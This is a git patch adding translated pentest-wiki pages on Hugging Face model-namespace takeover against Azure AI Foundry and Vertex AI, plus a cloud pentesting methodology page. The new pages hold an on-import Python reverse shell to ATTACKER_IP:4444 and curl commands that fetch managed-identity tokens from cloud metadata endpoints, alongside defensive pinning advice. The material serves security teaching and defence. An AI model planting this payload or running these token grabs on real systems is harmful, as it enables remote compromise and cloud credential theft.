From 95023dcb3bbf58ce776b536ed5c6419bb820ab30 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:17:04 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- .../az-post-exploitation/README.md | 8 +- .../az-azure-ai-foundry-post-exploitation.md | 94 +++++++++++++++ .../gcp-post-exploitation/README.md | 8 +- .../gcp-vertex-ai-post-exploitation.md | 113 ++++++++++++++++++ .../pentesting-cloud-methodology.md | 101 ++++++++-------- 5 files changed, 272 insertions(+), 52 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 2effddbf3..52b7c1b91 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,3 +1,9 @@ -# Az - Пост Експлуатація +# Az - Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +az-azure-ai-foundry-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md new file mode 100644 index 000000000..9fa484435 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -0,0 +1,94 @@ +# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## Сценарій + +- Azure AI Foundry Model Catalog містить багато моделей Hugging Face (HF) для розгортання в один клік. +- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляється, будь-хто може повторно зареєструвати цього автора й опублікувати модель з тим самим ModelName за legacy path. +- Pipelines і catalogs, що витягують лише за іменем (без commit pinning/integrity), будуть резолвитися на attacker-controlled repos. Коли Azure розгортає модель, loader code може виконатися в середовищі endpoint, надаючи RCE з правами цього endpoint. + +Типові випадки takeover у HF: +- Ownership deletion: Old path 404 until takeover. +- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. + +## Виявлення повторно використовуваних просторів імен (HF) +```bash +# Check author/org existence +curl -I https://huggingface.co/ # 200 exists, 404 deleted/available + +# Check model path +curl -I https://huggingface.co// +# 307 -> redirect (transfer case), 404 -> deleted until takeover +``` +## Повний ланцюг атаки проти Azure AI Foundry + +1) У Model Catalog знайдіть HF models, у яких оригінальних авторів видалили або передали (old author removed) на HF. +2) Повторно зареєструйте покинутого автора на HF і відтворіть ModelName. +3) Опублікуйте шкідливий repo з loader code, який виконується при import або вимагає trust_remote_code=True. +4) Розгорніть legacy Author/ModelName з Azure AI Foundry. Платформа підтягує attacker repo; loader виконується всередині Azure endpoint container/VM, що призводить до RCE з правами endpoint. + +Приклад фрагмента payload, що виконується при import (лише для демонстрації): +```python +# __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images + +if os.environ.get("AZUREML_ENDPOINT","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Примітки +- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True. +- Доступ зазвичай відповідає дозволам managed identity/service principal кінцевої точки. Розглядайте це як початкову точку доступу для отримання даних та латерального переміщення в межах Azure. + +## Поради після експлуатації (Azure Endpoint) + +- Перелічіть змінні середовища та MSI endpoints для токенів: +```bash +# Azure Instance Metadata Service (inside Azure compute) +curl -H "Metadata: true" \ +"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +- Перевірте змонтоване сховище, артефакти моделей і доступні служби Azure за допомогою отриманого токена. +- Розгляньте можливість персистенції, залишаючи отруєні артефакти моделей, якщо платформа повторно завантажує їх з HF. + +## Захисні рекомендації для користувачів Azure AI Foundry + +- Закріплюйте моделі за конкретним комітом при завантаженні з HF: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Реплікуйте перевірені HF моделі до довіреного внутрішнього реєстру і розгортайте звідти. +- Безперервно скануйте codebases і defaults/docstrings/notebooks на предмет жорстко прописаних Author/ModelName, які видалено/перенесено; оновлюйте або pin. +- Перевіряйте існування автора та походження моделі перед розгортанням. + +## Евристики розпізнавання (HTTP) + +- Видалений автор: сторінка автора повертає 404; legacy model path повертає 404 до моменту takeover. +- Перенесена модель: legacy path повертає 307 на нового автора, поки старий автор існує; якщо старий автор пізніше буде видалений і перереєстрований, legacy path слугуватиме attacker content. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Перехресні посилання + +- Див. ширшу методологію та зауваження щодо ланцюга постачання: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Посилання + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index d29774ab0..8f4597e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,3 +1,9 @@ -# GCP - Постексплуатація +# GCP - Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +gcp-vertex-ai-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..48999682f --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,113 @@ +# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## Сценарій + +- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей. +- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом. +- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки. + +Два поширені випадки takeover на HF: +- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName. +- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях. + +## Визначення повторно використовуваних просторів імен (HF) + +- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover. +- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого. + +Швидкі перевірки за допомогою curl: +```bash +# Check author/org existence +curl -I https://huggingface.co/ +# 200 = exists, 404 = deleted/available + +# Check old model path behavior +curl -I https://huggingface.co// +# 307 = redirect to new owner (transfer case) +# 404 = missing (deletion case) until someone re-registers +``` +## Повний сценарій атаки проти Vertex AI + +1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable: +- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”. +- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений. + +2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName. + +3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load: +- Побічні ефекти в __init__.py репо +- Custom modeling_*.py або processing code, на які посилається config/auto_map +- Code paths that require trust_remote_code=True in Transformers pipelines + +4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container. + +5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions. + +Example payload fragment executed on import (for demonstration only): +```python +# Place in __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... + +if os.environ.get("VTX_AI","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Примітки +- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True. +- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP. + +## Post-Exploitation Tips (Vertex AI Endpoint) + +Once code is running inside the endpoint container, consider: +- Перелічити environment variables та metadata для credentials/tokens +- Отримати доступ до attached storage або змонтованих model artifacts +- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.) +- Persistence у model artifact якщо платформа re-pulls repo + +Перелічте instance metadata, якщо доступно (залежить від контейнера): +```bash +curl -H "Metadata-Flavor: Google" \ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +## Захисні рекомендації для користувачів Vertex AI + +- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти. +- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті. +- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням. + +## Евристики виявлення (HTTP) + +- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover. +- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Перехресні посилання + +- Див. ширшу методологію та зауваження щодо ланцюга постачання: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Посилання + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 853886201..5ecd0f8f7 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,44 @@ -# Pentesting Cloud Methodology +# Pentesting Хмарна методологія {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Базова методологія -Кожен хмарний сервіс має свої особливості, але загалом є кілька **загальних речей, які повинен перевірити** пентестер під час тестування хмарного середовища: +Кожна хмара має свої особливості, але загалом є кілька **загальних речей, які pentester повинен перевірити**, тестуючи хмарне середовище: -- **Перевірки стандартів** -- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси** -- Це також дозволить вам знайти деякі **швидкі неправильні налаштування**, оскільки більшість з цих тестів можна виконати за допомогою **автоматизованих інструментів** +- **Перевірки бенчмарку** +- Це допоможе вам **зрозуміти розміри** середовища та **використовувані сервіси** +- Також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих перевірок можна виконати за допомогою **automated tools** - **Перерахування сервісів** -- Ви, ймовірно, не знайдете багато інших неправильних налаштувань тут, якщо ви правильно виконали перевірки стандартів, але ви можете знайти деякі, які не були враховані в тестах стандартів. -- Це дозволить вам дізнатися, **що саме використовується** в хмарному середовищі -- Це дуже допоможе на наступних етапах -- **Перевірка відкритих активів** -- Це можна зробити під час попереднього розділу, вам потрібно **виявити все, що потенційно відкрито** в Інтернеті і як до цього можна отримати доступ. -- Тут я маю на увазі **вручну відкриту інфраструктуру**, таку як інстанси з веб-сторінками або інші порти, що відкриті, а також інші **управляємі хмарні сервіси, які можуть бути налаштовані** на відкриття (такі як бази даних або бакети) -- Потім ви повинні перевірити, **чи може цей ресурс бути відкритим чи ні** (конфіденційна інформація? вразливості? неправильні налаштування в відкритому сервісі?) +- Швидше за все ви не знайдете набагато більше misconfigurations тут, якщо правильно виконали бенчмарк-перевірки, але можете знайти ті, які не шукали під час бенчмарку. +- Це дозволить вам знати **що саме використовується** в хмарному середовищі +- Це дуже допоможе на наступних кроках +- **Перевірка відкритих ресурсів** +- Це можна зробити під час попереднього розділу — потрібно **знайти все, що потенційно доступне з Інтернету** і як до цього можна отримати доступ. +- Тут маю на увазі **вручну виставлену інфраструктуру** — наприклад інстанси з веб-сторінками або з відкритими портами, а також інші **керовані хмарні сервіси, які можна налаштувати як відкриті** (наприклад DBs або buckets) +- Далі потрібно перевірити **чи може цей ресурс бути доступним** (конфіденційна інформація? вразливості? misconfigurations у відкритому сервісі?) - **Перевірка дозволів** -- Тут ви повинні **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються -- Занадто **багато високопривілейованих** (контроль всього) акаунтів? Згенеровані ключі не використовуються?... Більшість цих перевірок вже повинні були бути виконані в тестах стандартів -- Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам, можливо, потрібно буде запитати у них додаткову **інформацію** про **те, як призначається кожна роль** (не те саме, що роль адміністратора призначена 1 користувачу або 100) -- **Недостатньо просто знайти**, які користувачі мають **адміністративні** дозволи "\*:\*". Є багато **інших дозволів**, які, залежно від використовуваних сервісів, можуть бути дуже **чутливими**. -- Більше того, є **потенційні шляхи підвищення привілеїв**, які можна використовувати, зловживаючи дозволами. Усі ці речі повинні бути враховані, і **якомога більше шляхів підвищення привілеїв** повинні бути зафіксовані. +- Тут потрібно **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються +- Занадто **багато облікових записів з високими привілеями** (контролюють усе)? Згенеровані ключі не використовуються?... Більшість цих перевірок уже має бути виконано під час бенчмарку +- Якщо клієнт використовує OpenID або SAML або іншу **federation**, можливо, вам доведеться попросити додаткову **інформацію** про **як призначається кожна роль** (це не те саме, коли роль admin призначена 1 користувачу чи 100) +- Недостатньо просто знайти, які користувачі мають права admin "\*:\*". Є багато **інших дозволів**, які залежно від використаних сервісів можуть бути дуже **чутливими**. +- Більше того, існують **потенційні privesc** шляхи, які можна використати, зловживаючи дозволами. Усі ці речі треба врахувати і **задокументувати якомога більше privesc шляхів**. - **Перевірка інтеграцій** -- Існує висока ймовірність, що **інтеграції з іншими хмарами або SaaS** використовуються всередині хмарного середовища. -- Для **інтеграцій хмари, яку ви перевіряєте**, з іншою платформою ви повинні повідомити, **хто має доступ до (зловживати) цією інтеграцією** і ви повинні запитати, **наскільки чутливим** є виконуване діяння.\ -Наприклад, хто може записувати в бакет AWS, з якого GCP отримує дані (запитайте, наскільки чутливим є це діяння в GCP при обробці цих даних). -- Для **інтеграцій всередині хмари, яку ви перевіряєте**, з зовнішніх платформ, ви повинні запитати, **хто має зовнішній доступ до (зловживати) цією інтеграцією** і перевірити, як ці дані використовуються.\ -Наприклад, якщо сервіс використовує Docker-образ, розміщений у GCR, ви повинні запитати, хто має доступ до його зміни і яку чутливу інформацію та доступ отримає цей образ при виконанні всередині хмари AWS. +- Дуже ймовірно, що всередині хмарного середовища використовуються **інтеграції з іншими хмарами або SaaS**. +- Для **інтеграцій між хмарою, яку ви аудитуєте, та іншими платформами** ви повинні повідомити **хто має доступ (для зловживання) цією інтеграцією** і запитати **наскільки чутлива дія**, яка виконується.\ +Наприклад, хто може записувати в AWS bucket, з якого GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних). +- Для **інтеграцій всередині хмари, яку ви аудитуєте, з зовнішніх платформ**, ви повинні запитати **хто має зовнішній доступ (для зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\ +Наприклад, якщо сервіс використовує Docker image, розміщений у GCR, потрібно дізнатися, хто має доступ змінювати його і яку чутливу інформацію та доступ отримає цей image при виконанні всередині AWS cloud. -## Multi-Cloud tools +## Інструменти для Multi-Cloud -Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки установки та посилання будуть вказані в цьому розділі. +Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки встановлення та посилання будуть наведені в цьому розділі. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Інструмент для **виявлення поганих налаштувань і шляхів підвищення привілеїв у хмарах і між хмарами/SaaS.** +Інструмент для **виявлення неправильних конфігурацій і privesc шляхів у хмарах та між хмарами/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Він підтримує **AWS, GCP & Azure**. Перевірте, як налаштувати кожного постачальника в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Він підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера на [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Встановлення" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -146,7 +146,7 @@ done {{#tabs }} {{#tab name="Install" }} -Завантажте та встановіть Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Або використовуйте Brew: +Завантажте та встановіть Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Або використайте Brew: ``` brew tap turbot/tap brew install steampipe @@ -170,7 +170,7 @@ steampipe check all Перевірити всі проекти -Щоб перевірити всі проекти, вам потрібно згенерувати файл `gcp.spc`, вказуючи всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту. +Щоб перевірити всі проекти, потрібно згенерувати файл `gcp.spc`, що вказує всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ``` -Щоб перевірити **інші GCP інсайти** (корисні для перерахунку сервісів), використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Щоб переглянути **інші GCP insights** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Щоб перевірити код Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Щоб переглянути Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Більше плагінів GCP для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Більше GCP плагінів для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Щоб перевірити код Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Щоб перевірити код Terraform для AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Більше плагінів AWS для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Більше AWS-плагінів для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Вимагає python2.7 і виглядає так, ніби не підтримується. +Потребує python2.7 і виглядає непідтримуваним. ### Nessus -Nessus має _**Аудит хмарної інфраструктури**_ сканування, що підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Деякі додаткові налаштування в **Azure** потрібні для отримання **Client Id**. +Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** потрібні додаткові налаштування в **Azure**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist є **інструментом для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмарних послуг. +Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -263,12 +263,12 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**картографія**](https://github.com/lyft/cartography) +### [**cartography**](https://github.com/lyft/cartography) -Картографія - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j. +Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв’язки між ними у зручному графовому поданні на основі Neo4j database. {{#tabs }} -{{#tab name="Встановлення" }} +{{#tab name="Install" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше, в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j. +Starbase збирає активи та зв'язки зі служб і систем, включаючи хмарну інфраструктуру, SaaS applications, контролі безпеки та інше, у зручне графове представлення, яке підтримується базою даних Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Виявлення найбільш привілейованих користувачів у відсканованому середовищі AWS або Azure, включаючи AWS Shadow Admins. Він використовує PowerShell. +Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +372,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Інструмент для знаходження інфраструктури компанії (цілі), файлів та додатків на провідних хмарних платформах (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Інструмент для пошуку інфраструктури компанії (цілі), файлів та застосунків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox - це інструмент для знаходження експлуатованих шляхів атаки в хмарній інфраструктурі (в даний час підтримуються лише AWS та Azure, GCP незабаром). -- Це інструмент для перерахунку, який призначений для доповнення ручного pentesting. -- Він не створює і не модифікує жодні дані в хмарному середовищі. +- CloudFox — інструмент для виявлення exploitable attack paths у хмарній інфраструктурі (наразі підтримуються лише AWS & Azure, підтримка GCP у планах). +- Це інструмент для enumeration, який призначений доповнювати ручне pentesting. +- Він не створює і не змінює жодних даних у хмарному середовищі. -### Більше списків інструментів безпеки хмари +### More lists of cloud security tools - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,10 +412,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює "графік атаки" ресурсів у підписці Azure. Це дозволяє червоним командам та pentester'ам візуалізувати поверхню атаки та можливості для переходу в межах орендаря, а також значно покращує вашу оборону для швидкої орієнтації та пріоритизації роботи з реагування на інциденти. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює «attack graph» ресурсів в підписці Azure. Він дозволяє red teams і pentesters візуалізувати attack surface та можливості для pivot у межах tenant і значно допомагає вашим захисникам швидко орієнтуватися та розставляти пріоритети в роботі з incident response. ### Office365 -Вам потрібен **Global Admin** або принаймні **Global Admin Reader** (але зверніть увагу, що Global Admin Reader має деякі обмеження). Однак ці обмеження з'являються в деяких PS модулях і можуть бути обійдені, отримуючи доступ до функцій **через веб-додаток**. +Потрібен **Global Admin** або принаймні **Global Admin Reader** (зауважте, що **Global Admin Reader** трохи обмежений). Однак ці обмеження проявляються в деяких PS-модулях і можуть бути обійдені шляхом доступу до функцій **через вебзастосунок**. + {{#include ../banners/hacktricks-training.md}}